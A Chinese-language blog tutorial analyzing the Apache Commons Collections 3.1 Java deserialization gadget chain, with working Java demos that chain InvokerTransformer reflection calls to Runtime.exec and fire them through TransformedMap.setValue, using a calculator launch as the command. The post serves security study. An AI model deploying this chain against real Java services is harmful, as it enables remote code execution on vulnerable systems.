Java反序列化CC链分析

Artio 于 2022-07-08 发布

一:概述

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons 的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和 Dormant(是一些刚启动或者已经停止维护的项目)。

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

CC链的前提是序列化或者反序列化:

序列化需要两个条件:

1、该类必须实现 java.io.Serlalizable接口

2、该类的所有属性必须是可序列化的,如果有不可序列化的属性必须注明是短暂的

二:环境搭建

下边我们以Apache Commons collections 反序列化漏洞为例,先去下边地址下载commons-collections-3.1.zip文件:

https://archive.apache.org/dist/commons/collections/binaries/commons-collections-3.1.zip

下载完成后解压,然后IDEA新建一个Java项目导入commons-collections-3.1.jar包,如图:

Java特性_CC链_1.png

我使用的jdk版本为:1.8.0_281

然后在src-com-company下创建一个class文件,内容如下:

ApacheCommonsCollectionsDemo.java

package com.company;

import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

public class ApacheCommonsCollectionsDemo {
    public static void main(String[] args) {

        //((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("calc")
        //构造恶意的chain
        Transformer[] transformers = new Transformer[] {
                //通过内置的ConstantTransformer来获取Runtime类
                new ConstantTransformer(Runtime.class),
                //通过InvokerTransformer来反射调用getMethod方法,参数是getRuntime,其后类似
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null,new Object[0]}),
                new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"})
        };

        Transformer transformChain = new ChainedTransformer(transformers);

        //普通的Map
        Map mp=new HashMap();
        mp.put("sw", "demo");

        // 将普通的Map变成TransformedMap,并且指定变换方式为前面定义的恶意chain
        Map transformMap = TransformedMap.decorate(mp, transformChain, transformChain);

        // 修改TransformedMap中的一个值,成功执行命令
        Map.Entry entry=(Map.Entry) transformMap.entrySet().iterator().next();
        entry.setValue("test");
    }
}

三:transform

Transformer是一个用于规范类型转换行为的接口,实现该接口的类有:ChainedTransformer, CloneTransformer, ClosureTransformer, ConstantTransformer, ExceptionTransformer, FactoryTransformer, InstantiateTransformer, InvokerTransformer, MapTransformer, NOPTransformer, PredicateTransformer, StringValueTransformer, SwitchTransformer(3和4的部分实现类有所区别)

介绍一部分实现类(需要用到的类)

ConstantTransformer

作用:获取class对象

关键是调用transform对象

demo.java

// 学习反序列化CC链调试程序

package com.company;

import org.apache.commons.collections.functors.ConstantTransformer;

public class Main {

    public static void main(String[] args) {
	// write your code here
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);//通过ConstantTransformer这个方法来进行获取Runtime.class
        //相当于是你传入Runtime.class 下面就会返回这个类,传入什么返回什么
        Object transform = constantTransformer.transform("any");
        System.out.println(transform);
        System.out.println(transform.getClass().getName());

    }
}

transform方法会忽略传入参数,不会改变当前对象,所以我们输出的还是:

class java.lang.Runtime
java.lang.Class
InvokerTransformer

通过反射调用传入对象的方法(public属性)

最常用的构造方法有三个参数:

1、methodname方法

2、class类型

3、方法参数

例如:methodName:“exec”,new Class[]{String.class},new Object[]{cmd}

commons-collections从3.2.2版本开始尝试序列化或反序列化此类都会抛出UnsupportedOperationException异常,这个举措是为了防止远程代码执行;如果允许序列化该类就要在运行时添加属性-Dproperty=true
commons-collections4从4.1之后直接禁止被用于反序列化

它的Transform方法就是首先接受一个对象(ChainedTransformer),然后获取该对象的名称(ConstantTransformer),最后通过InvokerTransformer传入三个参数。

命令执行

// 方法一:常规套三层 InvokerTransformer
ChainedTransformer chain = new ChainedTransformer(
    new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer(
            "getMethod",
            new Class[]{String.class, Class[].class},
            new Object[]{"getRuntime", null}
        ),
        new InvokerTransformer(
            "invoke",
            new Class[]{Object.class, Object[].class},
            new Object[]{null, new Object[0]}
        ),
        new InvokerTransformer(
            "exec",
            new Class[]{String.class},
            new Object[]{"calc.exe"}
        )
    }
);
chain.transform("any"); // 任意传入都可
// 法二:传入 Runtime 实例
ChainedTransformer chain = new ChainedTransformer(
    new Transformer[]{
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer(
            "exec",
            new Class[]{String.class},
            new Object[]{"calc.exe"}
        )
    }
);
chain.transform("any"); // 任意传入都可
ChainedTransformer

传入Transformer数组初始化对象;transform方法依次调用Transformer实现类的transform方法处理传入对象,也就是transform方法的组合拳利用

上边的三个类连起来形成一条链的话就是:

package com.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Demo03 {
    public static void main(String[] args) {
        String cmd = "calc.exe";
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}//获取到了getRuntime方法
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}//用invoke方法传递参数
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new
                        Object[]{cmd})
        };
        // 创建ChainedTransformer调⽤链对象
        Transformer transformedChain = new ChainedTransformer(transformers);
        // 执⾏对象转换操作
        transformedChain.transform(null);
    }
}

1) ConstantTransformer把传入对象转换为常量,并返回得到该对象(Runtime.class)

2)InvokerTransformer通过反射获取传入对象的方法,并且加入参数

3)ChainedTransformer执行链式的Transformer方法,将反射包含的数组进行链式调用,从而连贯起来

4)然后查找哪个对象能够接收ChainedTransformer方法

TransformedMap

这个类就是为了上一个方法的第四步

上一个方法的第四步之后我们得到的是ChainedTransformer,一个转换链,TransformedMap类提供将map和转换链绑定的构造函数,只需要将数据添加到map中就可以调用这个转换链执行payload。

这样我们就可以把触发条件从显性的调用转换链的transform函数延伸到修改map的值,后者是一个常规操作,相比前者更容易触发。

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

Transformer实现类分别绑定在map的key和value上,当map的key和value被修改时,会调用对应Transformer实现类的transformer()方法。

我们可以把 chainedtransformer 绑定到一个 TransformedMap 上,当此map的key或value发生改变时(调用 TransformedMap 的 setValue/put/putAll 中的任意方法),就会自动触发 chainedtransformer。

package com.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Demo04 {
    public static void main(String[] args) {
        String cmd = "calc.exe";
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new
                        Object[]{cmd})
        };
        // 创建ChainedTransformer调⽤链对象
        Transformer transformedChain = new ChainedTransformer(transformers);
        //创建Map对象
        Map map = new HashMap();
        map.put("value", "value");
        // 使⽤TransformedMap创建⼀个含有恶意调⽤链的Transformer类的Map对象
        Map transformedMap = TransformedMap.decorate(map, null,
                transformedChain);
    // transformedMap.put("v1", "v2");// 执⾏put也会触发transform
    // 遍历Map元素,并调⽤setValue⽅法
        for (Object obj : transformedMap.entrySet()) {
            Map.Entry entry = (Map.Entry) obj;
    // setValue最终调⽤到InvokerTransformer的transform⽅法,从⽽触发Runtime命令执⾏调⽤链
            entry.setValue("test");
        }
//            System.out.println(transformedMap);
        }
    }

TransformedMap 的条件:

1)实现了 java.io.Serializable 接口;

2)并且可以传入我们构造的TransformedMap对象(如上边例子中传入map的transformedChain对象);

3)调用了TransformedMap中的setValue/put/putAll中的任意一个方法;

AnnotationInvocationHandler

上面的漏洞触发条件仍然不够完美,需要服务端把我们传入的序列化内容反序列化为map,并对值进行修改。 之前也说过完美的反序列化漏洞还需要一个readobject复写点,使只要服务端执行了readObject函数就等于命令执行。

在jdk1.7中就存在一个完美的readobject复写点的类sun.reflect.annotation.AnnotationInvocationHandler。—–这里待深入分析

四:历史链分析

待分析

五:参考链接

https://tyskill.github.io/posts/javatransformchain/#contents:transform

https://blog.csdn.net/xhy18634297976/article/details/122749129